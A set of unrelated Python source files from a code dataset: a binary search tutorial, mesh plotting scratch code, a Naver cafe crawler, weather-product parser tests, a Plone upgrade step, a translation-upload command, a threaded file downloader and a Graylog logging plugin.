+{"seq_id":"196667411","text":"import bisect\n\n\ndef bisect_tutorial():\n    fruits = [\"apple\", \"banana\", \"banana\", \"banana\", \"orange\", \"pineapple\"]\n    print(bisect.bisect(fruits, \"banana\"))\n    print(bisect.bisect_left(fruits, \"banana\"))\n    occurrences = bisect.bisect(fruits, \"banana\") - bisect.bisect_left(fruits, \"banana\")\n    print(occurrences) # Number of occurrences of the word banana\n\n    bisect.insort_left(fruits, \"kiwi\")\n    print(fruits)\n\n\ndef binary_iterative(elements, search_item):\n    \"\"\"Return the index of the search_item element.\"\"\"\n\n    left, right = 0, len(elements) - 1\n\n    while left <= right:\n\n        middle_idx = (left + right) // 2\n        middle_element = elements[middle_idx]\n\n        if middle_element == search_item:\n            return middle_idx\n        if middle_element < search_item:\n            left = middle_idx + 1\n        elif middle_element > search_item:\n            right = middle_idx - 1\n\n    return None\n\n\nif __name__ == '__main__':\n    elements = [3, 4, 5, 5, 9]\n    a = binary_iterative(elements, 5)\n    print(a)\n","sub_path":"PythonInterview/binarySearch.py","file_name":"binarySearch.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"371166860","text":"import numpy as np\nimport olim\nimport pyvista as pv\n\n# normalized = lambda p: p/np.linalg.norm(p)\n# angle = lambda i, i0, i1: normalized(points[i0] - points[i])@normalized(points[i1] - points[i])\n\ndef print_stencil_builder_state(bld):\n    print(f'lines = {bld.current_lines()}')\n    print(f'edges = {bld.stencil().tris}')\n    print(f'tetras = {bld.current_tetras()}')\n    \ndef get_lines_tris_and_tetras(obj):\n    if isinstance(obj, olim.Stencil):\n        lines = np.array(obj.lines)\n        tris = np.array([(tri.i0, tri.i1) for tri in obj.tris])\n        tetras = np.array([(tetra.i0, tetra.i1, tetra.i2) for tetra in obj.tetras])\n    else:\n        assert isinstance(obj, olim.StencilBuilder)\n        lines = np.array(list(obj.current_lines()))\n        tris = np.array([(tri.i0, tri.i1) for tri in obj.stencil().tris])\n        tetras = np.array([(tetra.i0, tetra.i1, tetra.i2) for tetra in obj.current_tetras()])\n    return lines, tris, tetras\n\ndef get_angles(bld):\n    return [\n        ((tri.i0, tri.i1), angle(i, tri.i0, tri.i1))\n        for tri in bld.stencil().tris\n    ]\n\ndef get_most_obtuse_tri_update(bld):\n    return get_angles(bld)[0][0]\n\ndef print_angles(bld, i):\n    print(f'angles for stencil at i = {i}')\n    for tri in bld.stencil().tris:\n        print(f'- i0 = {tri.i0}, i1 = {tri.i1}, angle = {angle(i, tri.i0, tri.i1)}')\n\ndef plot_update(obj, on_boundary_func, points, i, base_radius=0.01, window_size=(512, 512), background_plotter=False):\n    normalized = lambda p: p/np.linalg.norm(p)\n    angle = lambda i, i0, i1: normalized(points[i0] - points[i])@normalized(points[i1] - points[i])\n    lines, tris, tetras = get_lines_tris_and_tetras(obj)\n    if background_plotter:\n        plt = pv.BackgroundPlotter()\n    else:\n        plt = pv.Plotter(window_size=window_size)\n    p_i = points[i]\n    plt.add_mesh(pv.Sphere(base_radius, p_i), color='blue')\n    for i0 in lines:\n        p_i0 = points[i0]\n        if on_boundary_func(i) and on_boundary_func(i0):\n            color = 'orange'\n        else:\n            color = 'white'\n        plt.add_mesh(pv.Sphere(0.666*base_radius, p_i0), color=color)\n        direction = p_i0 - p_i\n        height = np.linalg.norm(direction)\n        direction /= height\n        plt.add_mesh(pv.Cylinder((p_i + p_i0)/2, direction, base_radius/5, height), color=color)\n    for i0, i1 in tris:\n        noncausal = angle(i, i0, i1) < 0\n        p_i0, p_i1 = points[i0], points[i1]\n        direction = p_i1 - p_i0\n        height = np.linalg.norm(direction)\n        direction /= height\n        if noncausal:\n            color = 'red'\n        elif on_boundary_func(i) and on_boundary_func(i0) and on_boundary_func(i1):\n            color = 'orange'\n        else:\n            color = 'white'\n        plt.add_mesh(pv.Cylinder((p_i0 + p_i1)/2, direction, base_radius/5, height), color=color)\n    plt.add_mesh(\n        pv.PolyData(\n            points,\n            np.concatenate(\n                [\n                    3*np.ones((tetras.shape[0], 1), tetras.dtype),\n                    tetras\n                ],\n                axis=1\n            ),\n        ),\n        color='purple',\n        opacity=0.5\n    )\n    if not background_plotter:\n        plt.show()\n\ndef get_new_point_to_insert(points, i, i0, i1):\n    p0 = points[i0] - points[i]\n    p1 = points[i1] - points[i]\n    n = normalized((p0 + p1)/2)\n    return points[i] + h*n\n\ndef find_containing_tetra(points, tetra, pnew):\n    def in_tetra(T):\n        q = pnew - points[T][0]\n        lam = np.linalg.solve((points[T][1:] - points[T][0]).T, q)\n        return np.all(lam > 0) and lam.sum() < 1\n    tets = np.where(np.apply_along_axis(in_tetra, 1, tetra))[0]\n    if len(tets) == 0:\n        raise Exception(\"didn't find any containing tetrahedra!\")\n    elif len(tets) > 1:\n        raise Exception(\"found multiple containing tetrahedra?!\")\n    else:\n        return tets[0]\n\ndef insert_new_point(points, tetra, pnew):\n    tet_ind = find_containing_tetra(points, tetra, pnew)\n    j = points.shape[0]\n    j0, j1, j2, j3 = tetra[tet_ind]\n    new_tetra = np.array([\n        [j, j0, j1, j2],\n        [j3, j, j0, j1],\n        [j2, j3, j, j0],\n        [j1, j2, j3, j]\n    ], dtype=tetra.dtype)\n    points = np.concatenate([points, [pnew]], axis=0)\n    tetra = np.concatenate([\n        np.delete(tetra, tet_ind, axis=0),\n        new_tetra\n    ], axis=0)\n    return points, tetra","sub_path":"scratch.py","file_name":"scratch.py","file_ext":"py","file_size_in_byte":4352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"153953452","text":"# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:light\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.11.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# +\nfrom selenium import webdriver\n\n\noptions = webdriver.ChromeOptions()\n# options.add_argument('headless') # headless 모드 사용하지 않을 경우 주석처리\noptions.add_argument('window-size=1920x1080')\noptions.add_argument(\"disable-gpu\")\ndriver = webdriver.Chrome('chromedriver', options=options)\ndriver.implicitly_wait(5)\n\nprint(\"Login Start\")\ndriver.get('https://nid.naver.com/nidlogin.login')\ntag_id = driver.find_element_by_name('id')\ntag_pw = driver.find_element_by_name('pw')\ntag_id.clear()\ndriver.implicitly_wait(1)\n\ndriver.execute_script(\"document.getElementsByName('id')[0].value='아이디'\")\ndriver.implicitly_wait(1)\n\ndriver.execute_script(\"document.getElementsByName('pw')[0].value='비밀번호'\")\ndriver.implicitly_wait(1)\n\n# 로그인 버튼 클릭\ndriver.find_element_by_xpath('//*[@id=\"frmNIDLogin\"]/fieldset/input').click()\ndriver.implicitly_wait(1)\nprint(\"Login Completion\")\n\n# 카페 글 링크 가져오기\ndef crawling_new_url(cafe_url):\n    print(\"URL Crawling Start\")\n    article_url = []\n    append = article_url.append\n    for url in cafe_url:\n        print(url)\n        driver.get(url)\n        driver.implicitly_wait(3)\n        driver.switch_to.frame(\"cafe_main\")\n        while 1:\n            check = 1\n            page_bar = driver.find_elements_by_css_selector('.prev-next > a')\n            page = []\n            for e in page_bar:\n                if e.text != '이전':\n                    page.append(e.text)\n\n            print(\"page: \", page)\n            for i in page:\n                html = driver.page_source\n                soup = BeautifulSoup(html, 'html.parser')\n                article_list = soup.find_all('div', class_='article-board m-tcol-c')[1].find_all('a', class_='article')\n\n                for j in range(len(article_list)):\n                    element = article_list[j].get('href')\n                    append('https://cafe.naver.com' + element)\n\n                try:\n                    # 다음 페이지로\n                    if check == len(page):\n                        check = 'stop'\n                        break\n                    elif (int(i) % 10) == 0:\n                        driver.find_element_by_link_text('다음').click()\n                        driver.implicitly_wait(3)\n                    else:\n                        driver.find_element_by_link_text(str(int(i) + 1)).click()\n                        check += 1\n                        driver.implicitly_wait(3)\n                except Exception as error:  # 로딩 실패시 재시도\n                    print(error)\n                    pass\n            if check == 'stop':\n                break\n        print('--> ', len(article_url), article_url)\n    print(\"URL Crawling Completion\")\n    return article_url\n\n","sub_path":".ipynb_checkpoints/Crawler-checkpoint.py","file_name":"Crawler-checkpoint.py","file_ext":"py","file_size_in_byte":3064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"194329145","text":"\"\"\"Testing!\"\"\"\nimport unittest\nimport datetime\nimport os\n\nimport pytz\n\nfrom pyiem.nws import product, ugc\nfrom pyiem.nws.product import WMO_RE\nfrom pyiem.nws.product import TextProductException\nfrom pyiem.nws.products import parser as productparser\n\n\ndef get_file(name):\n    ''' Helper function to get the text file contents '''\n    basedir = os.path.dirname(__file__)\n    fn = \"%s/../../../data/product_examples/%s\" % (basedir, name)\n    return open(fn, 'rb').read().decode('utf-8')\n\n\ndef utc(year, month, day, hour=0, minute=0):\n    \"\"\"UTC Timestamp generator\"\"\"\n    return datetime.datetime(year, month, day, hour,\n                             minute).replace(tzinfo=pytz.timezone(\"UTC\"))\n\n\nclass TestProduct(unittest.TestCase):\n    \"\"\"Test Products\"\"\"\n    maxDiff = None\n\n    def test_170411_fakemnd(self):\n        \"\"\"This RTP has a quasi-faked timestamp in the header causing error\"\"\"\n        tp = productparser(get_file('RTPSGX.txt'))\n        res = utc(2017, 4, 10, 23, 30)\n        self.assertEqual(tp.valid, res)\n\n    def test_151024_cae(self):\n        \"\"\"Make sure this CAE product works and does not throw an UGC error\"\"\"\n        tp = productparser(get_file('CAEIA.txt'))\n        self.assertEquals(tp.afos, 'CAEIA')\n\n    def test_resent(self):\n        \"\"\" Make sure we can tell a ...RESENT product \"\"\"\n        tp = productparser(get_file('MWWBRO.txt'))\n        self.assertTrue(tp.is_resent())\n\n    def test_wmoheader(self):\n        \"\"\"\" Make sure we can handle some header variations \"\"\"\n        ar = [\"FTUS43 KOAX 102320    \",\n              \"FTUS43 KOAX 102320  COR \",\n              \"FTUS43 KOAX 102320  COR  \",\n              \"FTUS43 KOAX 102320\",\n              ]\n        for item in ar:\n            self.assertTrue(WMO_RE.match(item) is not None)\n\n    def test_rfd(self):\n        \"\"\" Parse a RFD \"\"\"\n        tp = productparser(get_file('RFDOAX.txt'))\n        self.assertEqual(tp.get_channels()[0], 'RFDOAX')\n        j = tp.get_jabbers('http://localhost')\n        self.assertEqual(j[0][0], (\n             'OAX issues Grassland Fire Danger '\n             '(RFD) at Jan 19, 4:10 AM CST ...MODERATE FIRE DANGER TODAY... '\n             'http://localhost?pid=201501191010-KOAX-FNUS63-RFDOAX'))\n\n    def test_hwo(self):\n        \"\"\" Parse a HWO \"\"\"\n        tp = productparser(get_file('HWO.txt'))\n        self.assertEqual(tp.get_channels()[0], 'HWOLOT')\n        j = tp.get_jabbers('http://localhost')\n        self.assertEqual(j[0][0], (\n            'LOT issues Hazardous Weather Outlook '\n            '(HWO) at Jan 8, 3:23 PM CST '\n            'http://localhost?pid=201301082123-KLOT-FLUS43-HWOLOT'))\n\n    def test_140710_wmoheader_fail(self):\n        \"\"\" Make sure COR in WMO header does not trip us up\"\"\"\n        tp = product.TextProduct(get_file('MANANN.txt'))\n        self.assertEqual(tp.afos, 'MANANN')\n        self.assertTrue(tp.is_correction())\n\n    def test_now_jabber(self):\n        ''' See if we can process a NOW and get the jabber result '''\n        tp = product.TextProduct(get_file('NOWDMX.txt'))\n        j = tp.get_jabbers(\"http://localhost\")\n        self.assertEqual(j[0][0],\n                         (\"DMX issues Short-term Forecast (NOW) \"\n                          \"at Mar 4, 8:42 AM CST \"\n                          \"http://localhost?\"\n                          \"pid=201003041442-KDMX-FPUS73-NOWDMX\"))\n\n    def test_nomnd_with_timestamp(self):\n        ''' Make sure we process timestamps correctly when there is no MND'''\n        utcnow = datetime.datetime(2013, 12, 31, 18, 0)\n        utcnow = utcnow.replace(tzinfo=pytz.timezone(\"UTC\"))\n        tp = product.TextProduct(get_file('MAVWC0.txt'), utcnow=utcnow)\n        ts = datetime.datetime(2014, 1, 1, 0, 0)\n        ts = ts.replace(tzinfo=pytz.timezone(\"UTC\"))\n        self.assertEqual(tp.valid, ts)\n\n    def test_empty(self):\n        \"\"\" see what happens when we send a blank string \"\"\"\n        self.assertRaises(TextProductException, product.TextProduct, \"\")\n\n    def test_invalid_mnd_date(self):\n        \"\"\" Check parsing of timestamp  \"\"\"\n        answer = datetime.datetime(2013, 1, 3, 6, 16)\n        answer = answer.replace(tzinfo=pytz.timezone(\"UTC\"))\n        tp = product.TextProduct(get_file('CLI/CLINYC.txt'))\n        self.assertEqual(tp.valid, answer)\n\n    def test_ugc_error130214(self):\n        \"\"\" Check parsing of SPSJAX  \"\"\"\n        tp = product.TextProduct(get_file('SPSJAX.txt'))\n        self.assertEqual(tp.segments[0].ugcs, [ugc.UGC(\"FL\", \"Z\", 23),\n                                               ugc.UGC(\"FL\", \"Z\", 25),\n                                               ugc.UGC(\"FL\", \"Z\", 30),\n                                               ugc.UGC(\"FL\", \"Z\", 31),\n                                               ugc.UGC(\"FL\", \"Z\", 32)\n                                               ])\n\n    def test_no_ugc(self):\n        \"\"\" Product that does not have UGC encoding \"\"\"\n        data = get_file('CCFMOB.txt')\n        tp = product.TextProduct(data)\n        self.assertEqual(len(tp.segments[0].ugcs), 0)\n\n    def test_ugc_invalid_coding(self):\n        \"\"\" UGC code regression \"\"\"\n        data = get_file('FLW_badugc.txt')\n        tp = product.TextProduct(data)\n        # self.assertRaises(ugc.UGCParseException, product.TextProduct, data )\n        self.assertEqual(len(tp.segments[0].ugcs), 0)\n\n    def test_000000_ugctime(self):\n        \"\"\" When there is 000000 as UGC expiration time \"\"\"\n        tp = product.TextProduct(get_file('RECFGZ.txt'))\n        self.assertEqual(tp.segments[0].ugcexpire, None)\n\n    def test_stray_space_in_ugc(self):\n        \"\"\" When there are stray spaces in the UGC! \"\"\"\n        tp = product.TextProduct(get_file('RVDCTP.txt'))\n        self.assertEqual(len(tp.segments[0].ugcs), 28)\n\n    def test_ugc_in_hwo(self):\n        \"\"\" Parse UGC codes in a HWO \"\"\"\n        tp = product.TextProduct(get_file('HWO.txt'))\n        self.assertEqual(tp.segments[1].ugcs, [ugc.UGC(\"LM\", \"Z\", 740),\n                                               ugc.UGC(\"LM\", \"Z\", 741),\n                                               ugc.UGC(\"LM\", \"Z\", 742),\n                                               ugc.UGC(\"LM\", \"Z\", 743),\n                                               ugc.UGC(\"LM\", \"Z\", 744),\n                                               ugc.UGC(\"LM\", \"Z\", 745)\n                                               ])\n\n    def test_afos(self):\n        \"\"\" check AFOS PIL Parsing \"\"\"\n        tp = product.TextProduct(get_file('AFD.txt'))\n        self.assertEqual(tp.afos, 'AFDBOX')\n\n    def test_source(self):\n        \"\"\" check tp.source Parsing \"\"\"\n        tp = product.TextProduct(get_file('AFD.txt'))\n        self.assertEqual(tp.source, 'KBOX')\n\n    def test_wmo(self):\n        \"\"\" check tp.wmo Parsing \"\"\"\n        tp = product.TextProduct(get_file('AFD.txt'))\n        self.assertEqual(tp.wmo, 'FXUS61')\n\n    def test_notml(self):\n        \"\"\" check TOR without TIME...MOT...LOC \"\"\"\n        tp = product.TextProduct(get_file('TOR.txt'))\n        self.assertEqual(tp.segments[0].tml_dir, None)\n\n    def test_signature(self):\n        \"\"\" check svs_search \"\"\"\n        tp = product.TextProduct(get_file('TOR.txt'))\n        self.assertEqual(tp.get_signature(), \"CBD\")\n\n    def test_spanishMWW(self):\n        \"\"\" check spanish MWW does not break things \"\"\"\n        tp = product.TextProduct(get_file('MWWspanish.txt'))\n        self.assertEqual(tp.z, None)\n\n    def test_svs_search(self):\n        \"\"\" check svs_search \"\"\"\n        tp = product.TextProduct(get_file('TOR.txt'))\n        self.assertEqual(tp.segments[0].svs_search(),\n                         (\"* AT 1150 AM CDT...THE NATIONAL WEATHER SERVICE \"\n                          \"HAS ISSUED A TORNADO WARNING FOR DESTRUCTIVE \"\n                          \"WINDS OVER 110 MPH IN THE EYE WALL AND INNER RAIN \"\n                          \"BANDS OF HURRICANE KATRINA. THESE WINDS WILL \"\n                          \"OVERSPREAD MARION...FORREST AND LAMAR COUNTIES \"\n                          \"DURING THE WARNING PERIOD.\"))\n\n    def test_product_id(self):\n        \"\"\" check valid Parsing \"\"\"\n        tp = product.TextProduct(get_file('AFD.txt'))\n        self.assertEqual(tp.get_product_id(),\n                         \"201211270001-KBOX-FXUS61-AFDBOX\")\n\n    def test_valid(self):\n        \"\"\" check valid Parsing \"\"\"\n        tp = product.TextProduct(get_file('AFD.txt'))\n        ts = datetime.datetime(2012, 11, 27, 0, 1)\n        ts = ts.replace(tzinfo=pytz.timezone(\"UTC\"))\n        self.assertEqual(tp.valid, ts)\n\n    def test_FFA(self):\n        \"\"\" check FFA Parsing \"\"\"\n        tp = product.TextProduct(get_file('FFA.txt'))\n        self.assertEqual(tp.segments[0].get_hvtec_nwsli(), \"NWYI3\")\n\n    def test_valid_nomnd(self):\n        \"\"\" check valid (no Mass News) Parsing \"\"\"\n        utcnow = datetime.datetime(2012, 11, 27, 0, 0)\n        utcnow = utcnow.replace(tzinfo=pytz.timezone(\"UTC\"))\n        tp = product.TextProduct(get_file('AFD_noMND.txt'),\n                                 utcnow=utcnow)\n        ts = datetime.datetime(2012, 11, 27, 0, 1)\n        ts = ts.replace(tzinfo=pytz.timezone(\"UTC\"))\n        self.assertEqual(tp.valid, ts)\n\n    def test_headlines(self):\n        \"\"\" check headlines Parsing \"\"\"\n        tp = product.TextProduct(get_file('AFDDMX.txt'))\n        self.assertEqual(tp.segments[0].headlines,\n                         ['UPDATED FOR 18Z AVIATION DISCUSSION',\n                          'Bogus second line with a new line'])\n\n    def test_tml(self):\n        \"\"\" Test TIME...MOT...LOC parsing \"\"\"\n        ts = datetime.datetime(2012, 5, 31, 23, 10)\n        ts = ts.replace(tzinfo=pytz.timezone(\"UTC\"))\n        tp = product.TextProduct(get_file('SVRBMX.txt'))\n        self.assertEqual(tp.segments[0].tml_dir, 238)\n        self.assertEqual(tp.segments[0].tml_valid, ts)\n        self.assertEqual(tp.segments[0].tml_sknt, 39)\n        self.assertEqual(tp.segments[0].tml_giswkt,\n                         'SRID=4326;POINT(-88.53 32.21)')\n\n    def test_bullets(self):\n        \"\"\" Test bullets parsing \"\"\"\n        tp = product.TextProduct(get_file('TORtag.txt'))\n        self.assertEqual(len(tp.segments[0].bullets), 4)\n        self.assertEqual(tp.segments[0].bullets[3],\n                         (\"LOCATIONS IMPACTED INCLUDE... MARYSVILLE...LOVILIA\"\n                          \"...HAMILTON AND BUSSEY.\"))\n\n        tp = product.TextProduct(get_file('FLSDMX.txt'))\n        self.assertEqual(len(tp.segments[2].bullets), 7)\n        self.assertEqual(tp.segments[2].bullets[6],\n                         (\"IMPACT...AT 35.5 FEET...WATER AFFECTS 285TH \"\n                          \"AVENUE NEAR SEDAN BOTTOMS...OR JUST EAST OF THE \"\n                          \"INTERSECTION OF 285TH AVENUE AND 570TH STREET.\"))\n\n    def test_tags(self):\n        \"\"\" Test tags parsing \"\"\"\n        tp = product.TextProduct(get_file('TORtag.txt'))\n        self.assertEqual(tp.segments[0].tornadotag, \"OBSERVED\")\n        self.assertEqual(tp.segments[0].tornadodamagetag, \"SIGNIFICANT\")\n\n    def test_longitude_processing(self):\n        ''' Make sure that parsed longitude values are negative! '''\n        tp = product.TextProduct(get_file('SVRBMX.txt'))\n        self.assertAlmostEqual(tp.segments[0].sbw.exterior.xy[0][0], -88.39, 2)\n\n    def test_giswkt(self):\n        \"\"\" Test giswkt parsing \"\"\"\n        tp = product.TextProduct(get_file('SVRBMX.txt'))\n        self.assertAlmostEqual(tp.segments[0].sbw.area, 0.16, 2)\n\n        self.assertEqual(tp.segments[0].giswkt,\n                         ('SRID=4326;MULTIPOLYGON '\n                          '(((-88.390000 32.590000, -88.130000 32.760000, '\n                          '-88.080000 32.720000, -88.110000 32.690000, '\n                          '-88.040000 32.690000, -88.060000 32.640000, '\n                          '-88.080000 32.640000, -88.060000 32.590000, '\n                          '-87.930000 32.630000, -87.870000 32.570000, '\n                          '-87.860000 32.520000, -87.920000 32.520000, '\n                          '-87.960000 32.470000, -88.030000 32.430000, '\n                          '-88.050000 32.370000, -87.970000 32.350000, '\n                          '-87.940000 32.310000, -88.410000 32.310000, '\n                          '-88.390000 32.590000)))'))\n\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"pyiem/nws/tests/test_product.py","file_name":"test_product.py","file_ext":"py","file_size_in_byte":12192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"551184784","text":"from Products.CMFCore.utils import getToolByName\nPROFILE = 'profile-webcouturier.dropdownmenu:default'\n\n\ndef common(context):\n    setup = getToolByName(context, 'portal_setup')\n    setup.runAllImportStepsFromProfile(PROFILE)\n\n\ndef upgrade_1000_to_1010(context):\n    \"\"\"If dropdownmenu_sunburst is after dropdownmenu in sunburst skin,\n    reorder them\"\"\"\n    skin = getToolByName(context, 'portal_skins')\n    layers = skin.getSkinPath('Sunburst Theme').split(',')\n    dds = layers.index('dropdownmenu_sunburst')\n    dd = layers.index('dropdownmenu')\n    if dds > dd:\n        #switch them\n        layers[dd] = 'dropdownmenu_sunburst'\n        layers[dds] = 'dropdownmenu'\n        path = ','.join(layers)\n        skin.testSkinPath(path)\n        sels = skin._getSelections()\n        sels['Sunburst Theme'] = path\n","sub_path":"buildout-cache/eggs/webcouturier.dropdownmenu-2.3.1-py2.7.egg/webcouturier/dropdownmenu/upgrades.py","file_name":"upgrades.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"213360040","text":"import os\nimport glob\nimport json\n\nimport requests\nfrom django.core.management.base import BaseCommand\nfrom django.utils.crypto import get_random_string\n\nfrom langusta_client import app_settings\nfrom langusta_client.exceptions import NoPoFilesFound\n\nfrom optparse import make_option\n\nIMPORT_ID_LENGTH = 40\n\n\nclass Command(BaseCommand):\n    option_list = BaseCommand.option_list + (\n        make_option(\n            \"-H\", \"--host\", action=\"store\", type=\"string\", dest=\"host\"\n        ),\n        make_option(\n            \"-W\", \"--auth-token\", action=\"store\", type=\"string\", dest=\"token\"\n        ),\n        make_option(\n            \"-P\", \"--project-token\", action=\"store\", type=\"string\", dest=\"project\"\n        ),\n        make_option(\n            \"-D\", \"--dry-run\", action=\"store_true\", dest=\"dry_run\", default=False\n        ),\n        make_option(\n            \"-t\", \"--tag\", action=\"store\", type=\"string\", dest=\"tag\", default='master'\n        ),\n        make_option(\n            \"-A\", \"--actualize\", action=\"store_true\", dest=\"actualize\", default=False\n        )\n    )\n\n    def handle(self, *args, **options):\n        self.debug = bool(options.get('dry_run'))\n        self.env_tag = options.get('tag', '')\n        self.actualize = options.get('actualize')\n        self.upload_translation_file()\n\n    @property\n    def url(self):\n        return \"{}/api/import/{}/{}/\".format(\n            app_settings.LANGUSTA['HOST'],\n            app_settings.LANGUSTA['PROJECT_SLUG'],\n            app_settings.LANGUSTA['PROJECT_TOKEN']\n\n        )\n\n    def upload_translation_file(self):\n        files = []\n        for lang in app_settings.LANGUSTA['LANGUAGES']:\n            source_folder = os.path.join(\n                app_settings.LANGUSTA['SOURCE_PATH'], lang, 'LC_MESSAGES'\n            )\n            files += [filepath for filepath in glob.glob(source_folder + '/*.po')]\n            if not files:\n                raise NoPoFilesFound(\n                     'Could not find any .po files in %r' % (source_folder,)\n                )\n        print('Translations found:\\n', '\\n'.join(files))\n\n        # Used to group all translations as one import event\n        langusta_import_id = get_random_string(IMPORT_ID_LENGTH)\n\n        for _filePath in files:\n            filePath, domain = os.path.split(_filePath)\n            language = filePath.split('/')[-2]\n            print('Uploading, language: {}, domain: {}'.format(language,\n                                                               domain))\n\n            content = open(_filePath, 'r').read()\n            data = {\n                'project_slug': app_settings.LANGUSTA['PROJECT_SLUG'],\n                'content': content,\n                'tags': [self.env_tag],\n                'domain': domain,\n                'language': language,\n                'import_id': langusta_import_id,\n                'actualize': self.actualize,\n            }\n\n            headers = {\n                'content-type': 'application/json',\n                'Authorization': 'Token {}'.format(app_settings.LANGUSTA['AUTH_TOKEN'])\n            }\n\n            if not self.debug:\n                response = requests.post(\n                    self.url,\n                    data=json.dumps(data), headers=headers\n                )\n                try:\n                    response.raise_for_status()\n                except IOError:\n                    if response.headers.get('content-type') == 'application/json':\n                        print(response.json())\n                    raise\n","sub_path":"langusta_client/management/commands/ln_push.py","file_name":"ln_push.py","file_ext":"py","file_size_in_byte":3496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"224135661","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time    : 13/03/2018 10:32 AM\n# @Author  : Fish\n# @Site    : \n# @File    : download.py\n# @Software: PyCharm\n\nimport threading\nimport requests\nfrom component import proxy, utility\n\n\nclass Downloader(object):\n    def __init__(self,video_name,url):\n        proxy.set_proxy()\n        self.dir_name = utility.mk_download_dir()\n        self.name = video_name + '.mp4'\n        self.url = url\n        self.num = 8\n        session = requests.Session()\n        r = session.get(self.url, headers=utility.set_header())\n        # 获取文件大小\n        self.total = int(r.headers['Content-Length'])\n        print('总共: ',self.total)\n\n    # 获取每个线程下载的区间\n    def get_range(self):\n        ranges = []\n        offset = int(self.total/self.num)\n        for i in range(self.num):\n            if i == self.num-1:\n                ranges.append((i*offset,''))\n            else:\n                ranges.append((i*offset,(i+1)*offset))\n        return ranges  # [(0,100),(100,200),(200,\"\")]\n\n    # 通过传入开始和结束位置来下载文件\n    def download(self,start,end):\n        headers = {'Range':'Bytes=%s-%s'%(start,end),'Accept-Encoding':'*'}\n        mxheader = utility.set_header()\n        headers.update(mxheader)\n        # print(headers)\n        res = requests.get(self.url,headers=headers)\n        print (\"%s-%s download success\"%(start,end))\n        # 将文件指针移动到传入区间开始的位置\n        self.fd.seek(start)\n        self.fd.write(res.content)\n\n    def run(self):\n        self.fd = open(self.dir_name + '/' + self.name,\"wb\")\n\n        thread_list = []\n        n = 0\n\n        for ran in self.get_range():\n            # 获取每个线程下载的数据块\n            start,end = ran\n            n += 1\n            thread = threading.Thread(target=self.download,args=(start,end))\n            thread.start()\n            thread_list.append(thread)\n\n        for i in thread_list:\n            # 设置等待，避免上一个数据块还没写入，下一数据块对文件seek，会报错\n            i.join()\n\n        self.fd.close()\n\nif __name__ == \"__main__\":\n    Downloader().run()\n","sub_path":"component/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"69723664","text":"\"\"\"\n=================================\n\nThis file is from the Greylog plugin for NavalBot.\nCopyright (C) 2016 Isaac Dickinson\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http://www.gnu.org/licenses/>\n\n=================================\n\"\"\"\n\n# Graylog plugin.\n# Sends JSON logs to Graylog.\nimport logging\nimport json\nimport asyncio\n\nfrom navalbot.api import hooks, util\n\nVERSION = \"1.0.0\"\n\nlogger = logging.getLogger(\"NavalBot\")\n\ngraylog_params = util.get_global_config(\"graylog\")\naddr, port = graylog_params[\"addr\"], graylog_params[\"port\"]\n\np = {\"r\": None, \"w\": None}\n\n\nasync def send(data: str):\n    if not p[\"r\"]:\n        try:\n            p[\"r\"], p[\"w\"] = await asyncio.open_connection(addr, port)\n        except ConnectionRefusedError:\n            logger.critical(\"Could not connect to Graylog on {}!\".format((addr, port)))\n            return\n        else:\n            logger.info(\"Established connection to Graylog.\")\n    # write\n    data += \"\\n\"\n    p[\"w\"].write(data.encode())\n\n\n@hooks.on_generic_event\nasync def send_to_graylog(data: dict):\n    \"\"\"\n    Sends something to Graylog.\n\n    Encodes the data into json.\n    \"\"\"\n    # Flatten out the data.\n    new_d = data.get(\"d\", {})\n    # Add an 'event' param\n    new_d['event'] = data.get('t', \"ERR_UNKNOWN\")\n    # json encode it\n    to_send = json.dumps(new_d)\n    # Send the data.\n    await send(to_send)\n    logger.info(\"Sent `{}` to Graylog.\".format(new_d['event']))\n    # Close the old connection\n","sub_path":"nsa.py","file_name":"nsa.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
